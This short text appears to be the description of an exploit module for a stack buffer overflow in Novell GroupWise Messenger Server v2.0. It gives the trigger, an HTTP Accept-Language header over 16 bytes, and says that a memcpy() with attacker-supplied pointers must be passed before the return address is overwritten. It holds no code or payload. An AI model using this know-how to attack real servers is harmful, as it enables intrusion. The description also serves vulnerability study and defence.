  					This module exploits a stack buffer overflow in Novell GroupWise
  				Messenger Server v2.0. This flaw is triggered by any HTTP
  				request with an Accept-Language header greater than 16 bytes.
  				To overwrite the return address on the stack, we must first
  				pass a memcpy() operation that uses pointers we supply. Due to the
  				large list of restricted characters and the limitations of the current
  				encoder modules, very few payloads are usable.
